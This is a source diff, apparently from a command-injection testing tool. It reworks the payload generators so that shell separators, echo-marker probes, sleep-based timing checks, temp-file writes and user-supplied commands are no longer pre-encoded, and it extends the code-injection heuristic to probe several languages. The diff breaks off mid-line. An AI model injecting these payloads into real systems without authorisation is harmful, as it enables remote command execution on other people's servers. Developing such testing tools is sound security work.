settings.HOST_INJECTION or settings.CUSTOM_HEADER_INJECTION: return payload.replace(settings.END_LINE.LF, separator) if settings.TARGET_OS != settings.OS.WINDOWS: - return payload.replace(settings.END_LINE.LF, "%0d") + return payload.replace(settings.END_LINE.LF, settings.END_LINE.CR) return payload """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 23165dbbcb..faf6e20eea 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -49,7 +49,7 @@ def basic_payload_generator(): rand_a = random.randint(1, 10000) rand_b = random.randint(1, 10000) - calc_string = str(rand_a) + "%2B" + str(rand_b) + calc_string = str(rand_a) + "+" + str(rand_b) marker1 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) marker2 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) @@ -58,7 +58,7 @@ def basic_payload_generator(): # 'expr' wants its operands as separate arguments - given one, it echoes the string back # instead of adding anything up. prefix = "expr " - calc_string = str(rand_a) + settings.SINGLE_WHITESPACE + "%2B" + settings.SINGLE_WHITESPACE + str(rand_b) + calc_string = str(rand_a) + settings.SINGLE_WHITESPACE + "+" + settings.SINGLE_WHITESPACE + str(rand_b) else: prefix = "(" suffix = ")" @@ -66,16 +66,16 @@ def basic_payload_generator(): alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\"" settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + - "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + + "&echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2, - "|echo " + marker1 + "%26set /a " + settings.BASIC_STRING + "%26echo " + marker2 + - "%26echo " + marker1 + "%26set /a " + settings.BASIC_STRING + "%26echo " + marker2 + "|echo " + marker1 + "&set /a " + settings.BASIC_STRING + "&echo " + marker2 + + "&echo " + marker1 + "&set /a " + settings.BASIC_STRING + "&echo " + marker2 ] settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + - "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + + "&echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2, - "|echo " + marker1 + "%26for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + - "%26echo " + marker1 + "%26for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + "|echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 + + "&echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 ] settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(str(rand_a + rand_b)) + r"\s*" + re.escape(marker2) @@ -135,20 +135,22 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) # Percent-encode cookie values to safely handle delimiters and special characters. - encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) + encoded_payload = checks.encode_payload(payload) cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) else: cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = checks.restore_xml_layout(checks.process_injectable_value(payload, menu.options.data)).encode(settings.DEFAULT_CODEC) + # A structured body escapes for itself; a form-encoded one needs the payload encoded for it. + body_payload = payload if (settings.IS_JSON or settings.IS_XML) else checks.encode_payload(payload) + data = checks.restore_xml_layout(checks.process_injectable_value(body_payload, menu.options.data)).encode(settings.DEFAULT_CODEC) else: if settings.USER_DEFINED_POST_DATA: settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) if settings.INJECT_TAG in url: # Encode query string, preserving delimiters and configured parameter delimiter - encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) + encoded_payload = checks.encode_payload(payload) tmp_url = checks.process_injectable_value(encoded_payload, url) else: tmp_url = checks.remove_tags(tmp_url) @@ -207,9 +209,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - possible_os = ('Unix-like shell', 'Windows')[_ != 1] - checks.set_target_os(possible_os) - announce_heuristic_finding("possible operating system: '" + possible_os + "'") + # The token the rest of the code compares against, and then what was really shown. + checks.set_target_os(('Unix-like', 'Windows')[_ != 1]) + announce_heuristic_finding("identified command shell: '" + checks.target_shell_label() + "'") # A shell answering here says nothing about whether a string is also evaluated as # code, so it settles the question only where the code injection sink was not asked # for by name - otherwise every technique carrying it would skip itself, and the run @@ -306,7 +308,7 @@ def _http_first(): return url if not menu.options.os: settings.TARGET_OS = target_os - announce_heuristic_finding("possible operating system: '" + ("Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like shell") + "'") + announce_heuristic_finding("identified command shell: '" + checks.target_shell_label() + "'") return url """ @@ -314,40 +316,71 @@ def _http_first(): """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, place): check_parameter = check_parameter.lstrip().rstrip() - # What the probe answered with, where it answered at all. A complaint from the interpreter says - # the string was evaluated without saying by which version, so the language is all there is. - detail = "possible evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" + # What the probe answered with. A complaint from the interpreter names the language without + # naming a version, so the language is all there is to report in that case. + detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" settings.EVAL_BASED_STATE = True try: whitespace = settings.SINGLE_WHITESPACE if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE): - for payload in settings.EVAL_PROBE_PAYLOADS: - response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) - if type(response) is not bool and response is not None: - html_data = checks.process_page_content(response, action="decode") - match = re.search(settings.EVAL_PROBE_REGEX, html_data) - if match: - detail = "possible " + settings.EVAL_GRAMMAR.LABEL + " version: '" + match.group(1) + "'" - settings.IDENTIFIED_EVAL_PROBE = True - else: + """ + A complaint is worth less than a version, so one does not end the search. + + Which boundary reaches the sink is what the sweep is for, and the ones that miss tend to make + the interpreter complain - so stopping at the first complaint reports the language and never + learns the version a later boundary would have answered with. A version ends it; a complaint + is remembered and the rest are tried. + """ + """ + Where no language was named, each supported one is probed with its own payloads. + + Nothing about the target says which language is evaluating the string, and a probe written for + one of them means nothing to another - so asking only the default answered for that language + and reported the parameter as not injectable for every other. + + Whichever language answers is left in force, so the techniques that follow speak the one the + heuristic found rather than starting the search over. + """ + if menu.options.eval_sink == settings.EVAL_ALL_LANGUAGES: + languages = settings.SUPPORTED_EVAL_LANGUAGES + else: + languages = (settings.EVAL_GRAMMAR.NAME,) + for language in languages: + settings.set_eval_grammar(language) + if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + for payload in settings.EVAL_PROBE_PAYLOADS: + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) + if type(response) is not bool and response is not None: + html_data = checks.process_page_content(response, action="decode") + match = re.search(settings.EVAL_PROBE_REGEX, html_data) + if match: + detail = "identified " + settings.EVAL_GRAMMAR.LABEL + " version: '" + match.group(1) + "'" + settings.IDENTIFIED_EVAL_PROBE = True + break for warning in settings.EVAL_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True + detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" break - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE: - announce_heuristic_finding(detail) - # Code injection is tested only where it was asked for, so what the heuristic saw is - # named, the switch that would act on it is named too, and the run carries on testing - # for command injection either way. - if menu.options.eval_sink: - settings.SKIP_COMMAND_INJECTIONS = True - elif not settings.EVAL_SUGGESTED: - settings.EVAL_SUGGESTED = True - message = "Do you want to test it for code injection (i.e. switch '--eval')? [Y/n] " - if common.read_input(message, default="Y", check_batch=True) in settings.CHOICE_YES: - menu.options.eval_sink = settings.EVAL_ALL_LANGUAGES - settings.SKIP_COMMAND_INJECTIONS = True - break + if settings.IDENTIFIED_EVAL_PROBE: + break + + # Said once, whichever of the two the sweep came back with. + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE: + announce_heuristic_finding(detail) + # Code injection is tested only where it was asked for, so what the heuristic saw is + # named, the switch that would act on it is named too, and the run carries on testing + # for command injection either way. + if menu.options.eval_sink: + settings.SKIP_COMMAND_INJECTIONS = True + elif not settings.EVAL_SUGGESTED: + settings.EVAL_SUGGESTED = True + message = "Do you want to test it for code injection (i.e. switch '--eval')? [Y/n] " + if common.read_input(message, default="Y", check_batch=True) in settings.CHOICE_YES: + menu.options.eval_sink = settings.EVAL_ALL_LANGUAGES + settings.SKIP_COMMAND_INJECTIONS = True settings.EVAL_BASED_STATE = False return url @@ -370,6 +403,14 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p def _run_over_languages(exploit): if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: return exploit() != False + """ + A language the heuristic already recognised is the only one tried. + + Its probe came back with that language's own version, which is as much as a sweep here could + establish - and every language tried and rejected costs a full delay on the time-based technique. + """ + if settings.IDENTIFIED_EVAL_PROBE: + return exploit() != False languages = settings.SUPPORTED_EVAL_LANGUAGES for language in languages: settings.set_eval_grammar(language) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index d6452d4b7a..6982c32633 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -446,8 +446,6 @@ def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, tim bare_suffix = suffix probe_whitespace = whitespace probe_prefix = prefix - if probe_whitespace == settings.SINGLE_WHITESPACE: - probe_whitespace = _urllib.parse.quote(probe_whitespace) settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 @@ -863,9 +861,9 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" + cmd = "expr " + str(randv1) + " + " + str(randv2) + "" else: - cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" + cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" # Set the original delay time original_exec_time = exec_time @@ -1028,8 +1026,14 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): bare_prefix = prefix bare_suffix = suffix - if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) + """ + The whitespace goes in as a space. + + Encoding it here is the last of the pre-encoding the payloads used to do, and it survives only + where the carrier is URL-decoded by the target. A JSON or XML body is not - the target reads + '%20' as three characters, the command it is part of is not a command, and the technique looks + inapplicable. Encoded once at the end, with everything else, it is right for either. + """ # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index fd6bcdded3..2febf931a2 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -1069,7 +1069,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if settings.VERBOSITY_LEVEL != 0: _ = cmd if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - payload_msg = payload.replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) + payload_msg = payload if settings.COMMENT in payload_msg: payload = payload.split(settings.COMMENT)[0].strip() payload_msg = payload_msg.split(settings.COMMENT)[0].strip() diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 7f415d4179..55242cbcd5 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -37,14 +37,14 @@ def decision(separator, TAG, randv1, randv2): # 'set /p' prints its prompt without a trailing newline, so the marker arrives in one piece. payload = (chain + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "set /a (" + str(randv1) + "+" + str(randv2) + ")" + "\"') do @" + settings.CMD_NUL + " set /p=" + TAG + "%i" + TAG + TAG ) else: if settings.USE_BACKTICKS or settings.WAF_ENABLED: - math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " %2B " + str(randv2) + settings.CMD_SUB_SUFFIX + math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " + " + str(randv2) + settings.CMD_SUB_SUFFIX else: - math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "%2B" + str(randv2) + "))" + math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "+" + str(randv2) + "))" if settings.SKIP_CALC: payload = (separator + @@ -71,9 +71,9 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): if chain is None: return "" if settings.SKIP_CALC: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'+'" + TAG + "'+'" + TAG + "')\"" else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'+str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + "))" + "+'" + TAG + "'+'" + TAG + "')\"" payload = (chain + "for /f \"tokens=* eol=\" %i in ('cmd /c " + @@ -90,8 +90,8 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + - "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + - TAG + "'%2B'" + + "'+str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + "))" + "+'" + + TAG + "'+'" + TAG + "')\"" ) @@ -157,8 +157,8 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX payload = (separator + settings.LINUX_PYTHON_INTERPRETER + - " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "'%2B'" + - TAG + "'%2B'" + TAG + "')\"" + " -c \"print('" + TAG + "'+'" + TAG + "'+'" + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "'+'" + + TAG + "'+'" + TAG + "')\"" ) payload = checks.append_custom_marker(payload, separator) diff --git a/src/core/injections/results_based/techniques/eval/eb_payloads.py b/src/core/injections/results_based/techniques/eval/eb_payloads.py index e337cc4a20..0439b7f3c0 100755 --- a/src/core/injections/results_based/techniques/eval/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval/eb_payloads.py @@ -40,14 +40,14 @@ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: commands = ["echo " + TAG] if not settings.SKIP_CALC: - commands.append(_windows_line("set /a (" + str(randv1) + "%2B" + str(randv2) + ")")) + commands.append(_windows_line("set /a (" + str(randv1) + "+" + str(randv2) + ")")) commands = commands + ["echo " + TAG, "echo " + TAG] payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: commands = ["echo " + TAG] if not settings.SKIP_CALC: - commands.append("echo $((" + str(randv1) + "%2B" + str(randv2) + "))") + commands.append("echo $((" + str(randv1) + "+" + str(randv2) + "))") commands = commands + ["echo " + TAG, "echo " + TAG] payload = _print_statement(separator, commands) @@ -58,7 +58,7 @@ def decision(separator, TAG, randv1, randv2): """ def decision_alter_interpreter(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + ")))\"" commands = ["echo " + TAG] if not settings.SKIP_CALC: commands.append(python_payload) @@ -66,7 +66,7 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: - python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" + python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + ")))\"" commands = ["echo " + TAG] if not settings.SKIP_CALC: # A leading space where nothing separates it from the marker before it. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index c449e26d9f..83654bad0b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -52,7 +52,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) else: - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -60,7 +60,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1})))" ) - elif separator == "%26": + elif separator == "&": payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + @@ -69,8 +69,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "sleep " + str(timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + "sleep 0" + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -79,7 +79,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) + elif separator in ("|", "||"): pipe = "|" @@ -109,28 +109,28 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http ) else: - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + ")\") " ) - elif separator == "%26": + elif separator == "&": payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) elif separator in ("|", "||"): pipe = "|" @@ -138,7 +138,7 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + ")\") " ) else: pass @@ -153,19 +153,19 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http def condition_check(separator, condition, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: return None - if separator in (";", "%0a", "%0d%0a"): + if separator in (";", "\n", "\r\n"): payload = (separator + "[ " + condition + " ]" + separator + settings.RANDOM_VAR_GENERATOR + "=$?" + separator + "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" ) - elif separator == "%26": + elif separator == "&": payload = (separator + "[ " + condition + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator in (_urllib.parse.quote("&"), _urllib.parse.quote("&&"), ""): - payload = (_urllib.parse.quote("&") + + elif separator in ("&", "&&", ""): + payload = ("&" + "sleep 0" + separator + "[ " + condition + " ]" + separator + "sleep " + str(timesec) @@ -218,7 +218,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : arith_operator = "<=" if operator == "-le" else "==" payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -231,7 +231,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE ) - elif separator == "%26": + elif separator == "&": payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" >" + OUTPUT_TEXTFILE + "&&" + @@ -244,8 +244,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") + elif separator == "&&" : + ampersand = "&" payload = (ampersand + "sleep 0 " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '" + settings.END_LINE.ESCAPED_LF + "' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -291,35 +291,35 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, ) else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a", "%0d%0a") : + if separator in (";", "\n", "\r\n") : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + 